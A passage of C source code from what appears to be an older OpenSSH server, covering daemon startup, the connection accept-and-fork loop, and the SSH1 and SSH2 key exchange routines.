  			fprintf(stderr, "Bad server key size.\n");
  			exit(1);
  		}
  		/*
  		 * Check that server and host key lengths differ sufficiently. This
  		 * is necessary to make double encryption work with rsaref. Oh, I
  		 * hate software patents. I dont know if this can go? Niels
  		 */
  		if (options.server_key_bits >
  		    BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) -
  		    SSH_KEY_BITS_RESERVED && options.server_key_bits <
  		    BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) +
  		    SSH_KEY_BITS_RESERVED) {
  			options.server_key_bits =
  			    BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) +
  			    SSH_KEY_BITS_RESERVED;
  			debug("Forcing server key to %d bits to make it differ from host key.",
  			    options.server_key_bits);
  		}
  	}
  
  	if (use_privsep) {
  		struct passwd *pw;
  		struct stat st;
  
  		if ((pw = getpwnam(SSH_PRIVSEP_USER)) == NULL)
  			fatal("Privilege separation user %s does not exist",
  			    SSH_PRIVSEP_USER);
  		if ((stat(_PATH_PRIVSEP_CHROOT_DIR, &st) == -1) ||
  		    (S_ISDIR(st.st_mode) == 0))
  			fatal("Missing privilege separation directory: %s",
  			    _PATH_PRIVSEP_CHROOT_DIR);
  
  #ifdef HAVE_CYGWIN
  		if (check_ntsec(_PATH_PRIVSEP_CHROOT_DIR) &&
  		    (st.st_uid != getuid () ||
  		    (st.st_mode & (S_IWGRP|S_IWOTH)) != 0))
  #else
  		if (st.st_uid != 0 || (st.st_mode & (S_IWGRP|S_IWOTH)) != 0)
  #endif
  			fatal("%s must be owned by root and not group or "
  			    "world-writable.", _PATH_PRIVSEP_CHROOT_DIR);
  	}
  
  	/* Configuration looks good, so exit if in test mode. */
  	if (test_flag)
  		exit(0);
  
  	/*
  	 * Clear out any supplemental groups we may have inherited.  This
  	 * prevents inadvertent creation of files with bad modes (in the
  	 * portable version at least, it's certainly possible for PAM 
  	 * to create a file, and we can't control the code in every 
  	 * module which might be used).
  	 */
  	if (setgroups(0, NULL) < 0)
  		debug("setgroups() failed: %.200s", strerror(errno));
  
  	/* Initialize the log (it is reinitialized below in case we forked). */
  	if (debug_flag && !inetd_flag)
  		log_stderr = 1;
  	log_init(__progname, options.log_level, options.log_facility, log_stderr);
  
  	/*
  	 * If not in debugging mode, and not started from inetd, disconnect
  	 * from the controlling terminal, and fork.  The original process
  	 * exits.
  	 */
  	if (!(debug_flag || inetd_flag || no_daemon_flag)) {
  #ifdef TIOCNOTTY
  		int fd;
  #endif /* TIOCNOTTY */
  		if (daemon(0, 0) < 0)
  			fatal("daemon() failed: %.200s", strerror(errno));
  
  		/* Disconnect from the controlling tty. */
  #ifdef TIOCNOTTY
  		fd = open(_PATH_TTY, O_RDWR | O_NOCTTY);
  		if (fd >= 0) {
  			(void) ioctl(fd, TIOCNOTTY, NULL);
  			close(fd);
  		}
  #endif /* TIOCNOTTY */
  	}
  	/* Reinitialize the log (because of the fork above). */
  	log_init(__progname, options.log_level, options.log_facility, log_stderr);
  
  	/* Initialize the random number generator. */
  	arc4random_stir();
  
  	/* Chdir to the root directory so that the current disk can be
  	   unmounted if desired. */
  	chdir("/");
  
  	/* ignore SIGPIPE */
  	signal(SIGPIPE, SIG_IGN);
  
  	/* Start listening for a socket, unless started from inetd. */
  	if (inetd_flag) {
  		int s1;
  		s1 = dup(0);	/* Make sure descriptors 0, 1, and 2 are in use. */
  		dup(s1);
  		sock_in = dup(0);
  		sock_out = dup(1);
  		startup_pipe = -1;
  		/*
  		 * We intentionally do not close the descriptors 0, 1, and 2
  		 * as our code for setting the descriptors won\'t work if
  		 * ttyfd happens to be one of those.
  		 */
  		debug("inetd sockets after dupping: %d, %d", sock_in, sock_out);
  		if (options.protocol & SSH_PROTO_1)
  			generate_ephemeral_server_key();
  	} else {
  		for (ai = options.listen_addrs; ai; ai = ai->ai_next) {
  			if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6)
  				continue;
  			if (num_listen_socks >= MAX_LISTEN_SOCKS)
  				fatal("Too many listen sockets. "
  				    "Enlarge MAX_LISTEN_SOCKS");
  			if (getnameinfo(ai->ai_addr, ai->ai_addrlen,
  			    ntop, sizeof(ntop), strport, sizeof(strport),
  			    NI_NUMERICHOST|NI_NUMERICSERV) != 0) {
  				error("getnameinfo failed");
  				continue;
  			}
  			/* Create socket for listening. */
  			listen_sock = socket(ai->ai_family, ai->ai_socktype,
  			    ai->ai_protocol);
  			if (listen_sock < 0) {
  				/* kernel may not support ipv6 */
  				verbose("socket: %.100s", strerror(errno));
  				continue;
  			}
  			if (fcntl(listen_sock, F_SETFL, O_NONBLOCK) < 0) {
  				error("listen_sock O_NONBLOCK: %s", strerror(errno));
  				close(listen_sock);
  				continue;
  			}
  			/*
  			 * Set socket options.
  			 * Allow local port reuse in TIME_WAIT.
  			 */
  			if (setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR,
  			    &on, sizeof(on)) == -1)
  				error("setsockopt SO_REUSEADDR: %s", strerror(errno));
  
  			debug("Bind to port %s on %s.", strport, ntop);
  
  			/* Bind the socket to the desired port. */
  			if (bind(listen_sock, ai->ai_addr, ai->ai_addrlen) < 0) {
  				if (!ai->ai_next)
  				    error("Bind to port %s on %s failed: %.200s.",
  					    strport, ntop, strerror(errno));
  				close(listen_sock);
  				continue;
  			}
  			listen_socks[num_listen_socks] = listen_sock;
  			num_listen_socks++;
  
  			/* Start listening on the port. */
  			logit("Server listening on %s port %s.", ntop, strport);
  			if (listen(listen_sock, 5) < 0)
  				fatal("listen: %.100s", strerror(errno));
  
  		}
  		freeaddrinfo(options.listen_addrs);
  
  		if (!num_listen_socks)
  			fatal("Cannot bind any address.");
  
  		if (options.protocol & SSH_PROTO_1)
  			generate_ephemeral_server_key();
  
  		/*
  		 * Arrange to restart on SIGHUP.  The handler needs
  		 * listen_sock.
  		 */
  		signal(SIGHUP, sighup_handler);
  
  		signal(SIGTERM, sigterm_handler);
  		signal(SIGQUIT, sigterm_handler);
  
  		/* Arrange SIGCHLD to be caught. */
  		signal(SIGCHLD, main_sigchld_handler);
  
  		/* Write out the pid file after the sigterm handler is setup */
  		if (!debug_flag) {
  			/*
  			 * Record our pid in /var/run/sshd.pid to make it
  			 * easier to kill the correct sshd.  We don't want to
  			 * do this before the bind above because the bind will
  			 * fail if there already is a daemon, and this will
  			 * overwrite any old pid in the file.
  			 */
  			f = fopen(options.pid_file, "wb");
  			if (f == NULL) {
  				error("Couldn't create pid file \"%s\": %s",
  				    options.pid_file, strerror(errno));
  			} else {
  				fprintf(f, "%ld\n", (long) getpid());
  				fclose(f);
  			}
  		}
  
  		/* setup fd set for listen */
  		fdset = NULL;
  		maxfd = 0;
  		for (i = 0; i < num_listen_socks; i++)
  			if (listen_socks[i] > maxfd)
  				maxfd = listen_socks[i];
  		/* pipes connected to unauthenticated childs */
  		startup_pipes = xmalloc(options.max_startups * sizeof(int));
  		for (i = 0; i < options.max_startups; i++)
  			startup_pipes[i] = -1;
  
  		/*
  		 * Stay listening for connections until the system crashes or
  		 * the daemon is killed with a signal.
  		 */
  		for (;;) {
  			if (received_sighup)
  				sighup_restart();
  			if (fdset != NULL)
  				xfree(fdset);
  			fdsetsz = howmany(maxfd+1, NFDBITS) * sizeof(fd_mask);
  			fdset = (fd_set *)xmalloc(fdsetsz);
  			memset(fdset, 0, fdsetsz);
  
  			for (i = 0; i < num_listen_socks; i++)
  				FD_SET(listen_socks[i], fdset);
  			for (i = 0; i < options.max_startups; i++)
  				if (startup_pipes[i] != -1)
  					FD_SET(startup_pipes[i], fdset);
  
  			/* Wait in select until there is a connection. */
  			ret = select(maxfd+1, fdset, NULL, NULL, NULL);
  			if (ret < 0 && errno != EINTR)
  				error("select: %.100s", strerror(errno));
  			if (received_sigterm) {
  				logit("Received signal %d; terminating.",
  				    (int) received_sigterm);
  				close_listen_socks();
  				unlink(options.pid_file);
  				exit(255);
  			}
  			if (key_used && key_do_regen) {
  				generate_ephemeral_server_key();
  				key_used = 0;
  				key_do_regen = 0;
  			}
  			if (ret < 0)
  				continue;
  
  			for (i = 0; i < options.max_startups; i++)
  				if (startup_pipes[i] != -1 &&
  				    FD_ISSET(startup_pipes[i], fdset)) {
  					/*
  					 * the read end of the pipe is ready
  					 * if the child has closed the pipe
  					 * after successful authentication
  					 * or if the child has died
  					 */
  					close(startup_pipes[i]);
  					startup_pipes[i] = -1;
  					startups--;
  				}
  			for (i = 0; i < num_listen_socks; i++) {
  				if (!FD_ISSET(listen_socks[i], fdset))
  					continue;
  				fromlen = sizeof(from);
  				newsock = accept(listen_socks[i], (struct sockaddr *)&from,
  				    &fromlen);
  				if (newsock < 0) {
  					if (errno != EINTR && errno != EWOULDBLOCK)
  						error("accept: %.100s", strerror(errno));
  					continue;
  				}
  				if (fcntl(newsock, F_SETFL, 0) < 0) {
  					error("newsock del O_NONBLOCK: %s", strerror(errno));
  					close(newsock);
  					continue;
  				}
  				if (drop_connection(startups) == 1) {
  					debug("drop connection #%d", startups);
  					close(newsock);
  					continue;
  				}
  				if (pipe(startup_p) == -1) {
  					close(newsock);
  					continue;
  				}
  
  				for (j = 0; j < options.max_startups; j++)
  					if (startup_pipes[j] == -1) {
  						startup_pipes[j] = startup_p[0];
  						if (maxfd < startup_p[0])
  							maxfd = startup_p[0];
  						startups++;
  						break;
  					}
  
  				/*
  				 * Got connection.  Fork a child to handle it, unless
  				 * we are in debugging mode.
  				 */
  				if (debug_flag) {
  					/*
  					 * In debugging mode.  Close the listening
  					 * socket, and start processing the
  					 * connection without forking.
  					 */
  					debug("Server will not fork when running in debugging mode.");
  					close_listen_socks();
  					sock_in = newsock;
  					sock_out = newsock;
  					startup_pipe = -1;
  					pid = getpid();
  					break;
  				} else {
  					/*
  					 * Normal production daemon.  Fork, and have
  					 * the child process the connection. The
  					 * parent continues listening.
  					 */
  					if ((pid = fork()) == 0) {
  						/*
  						 * Child.  Close the listening and max_startup
  						 * sockets.  Start using the accepted socket.
  						 * Reinitialize logging (since our pid has
  						 * changed).  We break out of the loop to handle
  						 * the connection.
  						 */
  						startup_pipe = startup_p[1];
  						close_startup_pipes();
  						close_listen_socks();
  						sock_in = newsock;
  						sock_out = newsock;
  						log_init(__progname, options.log_level, options.log_facility, log_stderr);
  						break;
  					}
  				}
  
  				/* Parent.  Stay in the loop. */
  				if (pid < 0)
  					error("fork: %.100s", strerror(errno));
  				else
  					debug("Forked child %ld.", (long)pid);
  
  				close(startup_p[1]);
  
  				/* Mark that the key has been used (it was "given" to the child). */
  				if ((options.protocol & SSH_PROTO_1) &&
  				    key_used == 0) {
  					/* Schedule server key regeneration alarm. */
  					signal(SIGALRM, key_regeneration_alarm);
  					alarm(options.key_regeneration_time);
  					key_used = 1;
  				}
  
  				arc4random_stir();
  
  				/* Close the new socket (the child is now taking care of it). */
  				close(newsock);
  			}
  			/* child process check (or debug mode) */
  			if (num_listen_socks < 0)
  				break;
  		}
  	}
  
  	/* This is the child processing a new connection. */
  
  	/*
  	 * Create a new session and process group since the 4.4BSD
  	 * setlogin() affects the entire process group.  We don't
  	 * want the child to be able to affect the parent.
  	 */
  #if !defined(SSHD_ACQUIRES_CTTY)
  	/*
  	 * If setsid is called, on some platforms sshd will later acquire a
  	 * controlling terminal which will result in "could not set
  	 * controlling tty" errors.
  	 */
  	if (!debug_flag && !inetd_flag && setsid() < 0)
  		error("setsid: %.100s", strerror(errno));
  #endif
  
  	/*
  	 * Disable the key regeneration alarm.  We will not regenerate the
  	 * key since we are no longer in a position to give it to anyone. We
  	 * will not restart on SIGHUP since it no longer makes sense.
  	 */
  	alarm(0);
  	signal(SIGALRM, SIG_DFL);
  	signal(SIGHUP, SIG_DFL);
  	signal(SIGTERM, SIG_DFL);
  	signal(SIGQUIT, SIG_DFL);
  	signal(SIGCHLD, SIG_DFL);
  	signal(SIGINT, SIG_DFL);
  
  	/* Set keepalives if requested. */
  	if (options.keepalives &&
  	    setsockopt(sock_in, SOL_SOCKET, SO_KEEPALIVE, &on,
  	    sizeof(on)) < 0)
  		error("setsockopt SO_KEEPALIVE: %.100s", strerror(errno));
  
  	/*
  	 * Register our connection.  This turns encryption off because we do
  	 * not have a key.
  	 */
  	packet_set_connection(sock_in, sock_out);
  
  	remote_port = get_remote_port();
  	remote_ip = get_remote_ipaddr();
  
  #ifdef LIBWRAP
  	/* Check whether logins are denied from this host. */
  	{
  		struct request_info req;
  
  		request_init(&req, RQ_DAEMON, __progname, RQ_FILE, sock_in, 0);
  		fromhost(&req);
  
  		if (!hosts_access(&req)) {
  			debug("Connection refused by tcp wrapper");
  			refuse(&req);
  			/* NOTREACHED */
  			fatal("libwrap refuse returns");
  		}
  	}
  #endif /* LIBWRAP */
  
  	/* Log the connection. */
  	verbose("Connection from %.500s port %d", remote_ip, remote_port);
  
  	/*
  	 * We don\'t want to listen forever unless the other side
  	 * successfully authenticates itself.  So we set up an alarm which is
  	 * cleared after successful authentication.  A limit of zero
  	 * indicates no limit. Note that we don\'t set the alarm in debugging
  	 * mode; it is just annoying to have the server exit just when you
  	 * are about to discover the bug.
  	 */
  	signal(SIGALRM, grace_alarm_handler);
  	if (!debug_flag)
  		alarm(options.login_grace_time);
  
  	sshd_exchange_identification(sock_in, sock_out);
  
  	packet_set_nonblocking();
  
          /* prepare buffers to collect authentication messages */
  	buffer_init(&loginmsg);
  
  	if (use_privsep)
  		if ((authctxt = privsep_preauth()) != NULL)
  			goto authenticated;
  
  	/* perform the key exchange */
  	/* authenticate user and start session */
  	if (compat20) {
  		do_ssh2_kex();
  		authctxt = do_authentication2();
  	} else {
  		do_ssh1_kex();
  		authctxt = do_authentication();
  	}
  	/*
  	 * If we use privilege separation, the unprivileged child transfers
  	 * the current keystate and exits
  	 */
  	if (use_privsep) {
  		mm_send_keystate(pmonitor);
  		exit(0);
  	}
  
   authenticated:
  	/*
  	 * In privilege separation, we fork another child and prepare
  	 * file descriptor passing.
  	 */
  	if (use_privsep) {
  		privsep_postauth(authctxt);
  		/* the monitor process [priv] will not return */
  		if (!compat20)
  			destroy_sensitive_data();
  	}
  
  	/* Perform session preparation. */
  	do_authenticated(authctxt);
  
  	/* The connection has been terminated. */
  	verbose("Closing connection to %.100s", remote_ip);
  
  #ifdef USE_PAM
  	if (options.use_pam)
  		finish_pam();
  #endif /* USE_PAM */
  
  	packet_close();
  
  	if (use_privsep)
  		mm_terminate();
  
  	exit(0);
  }
  
  /*
   * Decrypt session_key_int using our private server key and private host key
   * (key with larger modulus first).
   */
  int
  ssh1_session_key(BIGNUM *session_key_int)
  {
  	int rsafail = 0;
  
  	if (BN_cmp(sensitive_data.server_key->rsa->n, sensitive_data.ssh1_host_key->rsa->n) > 0) {
  		/* Server key has bigger modulus. */
  		if (BN_num_bits(sensitive_data.server_key->rsa->n) <
  		    BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) + SSH_KEY_BITS_RESERVED) {
  			fatal("do_connection: %s: server_key %d < host_key %d + SSH_KEY_BITS_RESERVED %d",
  			    get_remote_ipaddr(),
  			    BN_num_bits(sensitive_data.server_key->rsa->n),
  			    BN_num_bits(sensitive_data.ssh1_host_key->rsa->n),
  			    SSH_KEY_BITS_RESERVED);
  		}
  		if (rsa_private_decrypt(session_key_int, session_key_int,
  		    sensitive_data.server_key->rsa) <= 0)
  			rsafail++;
  		if (rsa_private_decrypt(session_key_int, session_key_int,
  		    sensitive_data.ssh1_host_key->rsa) <= 0)
  			rsafail++;
  	} else {
  		/* Host key has bigger modulus (or they are equal). */
  		if (BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) <
  		    BN_num_bits(sensitive_data.server_key->rsa->n) + SSH_KEY_BITS_RESERVED) {
  			fatal("do_connection: %s: host_key %d < server_key %d + SSH_KEY_BITS_RESERVED %d",
  			    get_remote_ipaddr(),
  			    BN_num_bits(sensitive_data.ssh1_host_key->rsa->n),
  			    BN_num_bits(sensitive_data.server_key->rsa->n),
  			    SSH_KEY_BITS_RESERVED);
  		}
  		if (rsa_private_decrypt(session_key_int, session_key_int,
  		    sensitive_data.ssh1_host_key->rsa) < 0)
  			rsafail++;
  		if (rsa_private_decrypt(session_key_int, session_key_int,
  		    sensitive_data.server_key->rsa) < 0)
  			rsafail++;
  	}
  	return (rsafail);
  }
  /*
   * SSH1 key exchange
   */
  static void
  do_ssh1_kex(void)
  {
  	int i, len;
  	int rsafail = 0;
  	BIGNUM *session_key_int;
  	u_char session_key[SSH_SESSION_KEY_LENGTH];
  	u_char cookie[8];
  	u_int cipher_type, auth_mask, protocol_flags;
  	u_int32_t rnd = 0;
  
  	/*
  	 * Generate check bytes that the client must send back in the user
  	 * packet in order for it to be accepted; this is used to defy ip
  	 * spoofing attacks.  Note that this only works against somebody
  	 * doing IP spoofing from a remote machine; any machine on the local
  	 * network can still see outgoing packets and catch the random
  	 * cookie.  This only affects rhosts authentication, and this is one
  	 * of the reasons why it is inherently insecure.
  	 */
  	for (i = 0; i < 8; i++) {
  		if (i % 4 == 0)
  			rnd = arc4random();
  		cookie[i] = rnd & 0xff;
  		rnd >>= 8;
  	}
  
  	/*
  	 * Send our public key.  We include in the packet 64 bits of random
  	 * data that must be matched in the reply in order to prevent IP
  	 * spoofing.
  	 */
  	packet_start(SSH_SMSG_PUBLIC_KEY);
  	for (i = 0; i < 8; i++)
  		packet_put_char(cookie[i]);
  
  	/* Store our public server RSA key. */
  	packet_put_int(BN_num_bits(sensitive_data.server_key->rsa->n));
  	packet_put_bignum(sensitive_data.server_key->rsa->e);
  	packet_put_bignum(sensitive_data.server_key->rsa->n);
  
  	/* Store our public host RSA key. */
  	packet_put_int(BN_num_bits(sensitive_data.ssh1_host_key->rsa->n));
  	packet_put_bignum(sensitive_data.ssh1_host_key->rsa->e);
  	packet_put_bignum(sensitive_data.ssh1_host_key->rsa->n);
  
  	/* Put protocol flags. */
  	packet_put_int(SSH_PROTOFLAG_HOST_IN_FWD_OPEN);
  
  	/* Declare which ciphers we support. */
  	packet_put_int(cipher_mask_ssh1(0));
  
  	/* Declare supported authentication types. */
  	auth_mask = 0;
  	if (options.rhosts_rsa_authentication)
  		auth_mask |= 1 << SSH_AUTH_RHOSTS_RSA;
  	if (options.rsa_authentication)
  		auth_mask |= 1 << SSH_AUTH_RSA;
  	if (options.challenge_response_authentication == 1)
  		auth_mask |= 1 << SSH_AUTH_TIS;
  	if (options.password_authentication)
  		auth_mask |= 1 << SSH_AUTH_PASSWORD;
  	packet_put_int(auth_mask);
  
  	/* Send the packet and wait for it to be sent. */
  	packet_send();
  	packet_write_wait();
  
  	debug("Sent %d bit server key and %d bit host key.",
  	    BN_num_bits(sensitive_data.server_key->rsa->n),
  	    BN_num_bits(sensitive_data.ssh1_host_key->rsa->n));
  
  	/* Read clients reply (cipher type and session key). */
  	packet_read_expect(SSH_CMSG_SESSION_KEY);
  
  	/* Get cipher type and check whether we accept this. */
  	cipher_type = packet_get_char();
  
  	if (!(cipher_mask_ssh1(0) & (1 << cipher_type)))
  		packet_disconnect("Warning: client selects unsupported cipher.");
  
  	/* Get check bytes from the packet.  These must match those we
  	   sent earlier with the public key packet. */
  	for (i = 0; i < 8; i++)
  		if (cookie[i] != packet_get_char())
  			packet_disconnect("IP Spoofing check bytes do not match.");
  
  	debug("Encryption type: %.200s", cipher_name(cipher_type));
  
  	/* Get the encrypted integer. */
  	if ((session_key_int = BN_new()) == NULL)
  		fatal("do_ssh1_kex: BN_new failed");
  	packet_get_bignum(session_key_int);
  
  	protocol_flags = packet_get_int();
  	packet_set_protocol_flags(protocol_flags);
  	packet_check_eom();
  
  	/* Decrypt session_key_int using host/server keys */
  	rsafail = PRIVSEP(ssh1_session_key(session_key_int));
  
  	/*
  	 * Extract session key from the decrypted integer.  The key is in the
  	 * least significant 256 bits of the integer; the first byte of the
  	 * key is in the highest bits.
  	 */
  	if (!rsafail) {
  		BN_mask_bits(session_key_int, sizeof(session_key) * 8);
  		len = BN_num_bytes(session_key_int);
  		if (len < 0 || len > sizeof(session_key)) {
  			error("do_connection: bad session key len from %s: "
  			    "session_key_int %d > sizeof(session_key) %lu",
  			    get_remote_ipaddr(), len, (u_long)sizeof(session_key));
  			rsafail++;
  		} else {
  			memset(session_key, 0, sizeof(session_key));
  			BN_bn2bin(session_key_int,
  			    session_key + sizeof(session_key) - len);
  
  			compute_session_id(session_id, cookie,
  			    sensitive_data.ssh1_host_key->rsa->n,
  			    sensitive_data.server_key->rsa->n);
  			/*
  			 * Xor the first 16 bytes of the session key with the
  			 * session id.
  			 */
  			for (i = 0; i < 16; i++)
  				session_key[i] ^= session_id[i];
  		}
  	}
  	if (rsafail) {
  		int bytes = BN_num_bytes(session_key_int);
  		u_char *buf = xmalloc(bytes);
  		MD5_CTX md;
  
  		logit("do_connection: generating a fake encryption key");
  		BN_bn2bin(session_key_int, buf);
  		MD5_Init(&md);
  		MD5_Update(&md, buf, bytes);
  		MD5_Update(&md, sensitive_data.ssh1_cookie, SSH_SESSION_KEY_LENGTH);
  		MD5_Final(session_key, &md);
  		MD5_Init(&md);
  		MD5_Update(&md, session_key, 16);
  		MD5_Update(&md, buf, bytes);
  		MD5_Update(&md, sensitive_data.ssh1_cookie, SSH_SESSION_KEY_LENGTH);
  		MD5_Final(session_key + 16, &md);
  		memset(buf, 0, bytes);
  		xfree(buf);
  		for (i = 0; i < 16; i++)
  			session_id[i] = session_key[i] ^ session_key[i + 16];
  	}
  	/* Destroy the private and public keys. No longer. */
  	destroy_sensitive_data();
  
  	if (use_privsep)
  		mm_ssh1_session_id(session_id);
  
  	/* Destroy the decrypted integer.  It is no longer needed. */
  	BN_clear_free(session_key_int);
  
  	/* Set the session key.  From this on all communications will be encrypted. */
  	packet_set_encryption_key(session_key, SSH_SESSION_KEY_LENGTH, cipher_type);
  
  	/* Destroy our copy of the session key.  It is no longer needed. */
  	memset(session_key, 0, sizeof(session_key));
  
  	debug("Received session key; encryption turned on.");
  
  	/* Send an acknowledgment packet.  Note that this packet is sent encrypted. */
  	packet_start(SSH_SMSG_SUCCESS);
  	packet_send();
  	packet_write_wait();
  }
  
  /*
   * SSH2 key exchange: diffie-hellman-group1-sha1
   */
  static void
  do_ssh2_kex(void)
  {
  	Kex *kex;
  
  	if (options.ciphers != NULL) {
  		myproposal[PROPOSAL_ENC_ALGS_CTOS] =
  		myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers;
  	}
  	myproposal[PROPOSAL_ENC_ALGS_CTOS] =
  	    compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_CTOS]);
  	myproposal[PROPOSAL_ENC_ALGS_STOC] =
  	    compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_STOC]);
  
  	if (options.macs != NULL) {
  		myproposal[PROPOSAL_MAC_ALGS_CTOS] =
  		myproposal[PROPOSAL_MAC_ALGS_STOC] = options.macs;
  	}
  	if (!options.compression) {
  		myproposal[PROPOSAL_COMP_ALGS_CTOS] =
  		myproposal[PROPOSAL_COMP_ALGS_STOC] = "none";
  	}
  	myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = list_hostkey_types();
  
  	/* start key exchange */
  	kex = kex_setup(myproposal);
  	kex->kex[KEX_DH_GRP1_SHA1] = kexdh_server;
  	kex->kex[KEX_DH_GEX_SHA1] = kexgex_server;
  	kex->server = 1;
  	kex->client_version_string=client_version_string;
  	kex->server_version_string=server_version_string;
  	kex->load_host_key=&get_hostkey_by_type;
  	kex->host_key_index=&get_hostkey_index;
  
  	xxx_kex = kex;
  
  	dispatch_run(DISPATCH_BLOCK, &kex->done, kex);
  
  	session_id2 = kex->session_id;
  	session_id2_len = kex->session_id_len;
  
  #ifdef DEBUG_KEXDH
  	/* send 1st encrypted/maced/compressed message */
  	packet_start(SSH2_MSG_IGNORE);
  	packet_put_cstring("markus");
  	packet_send();
  	packet_write_wait();
  #endif
  	debug("KEX done");
  }
  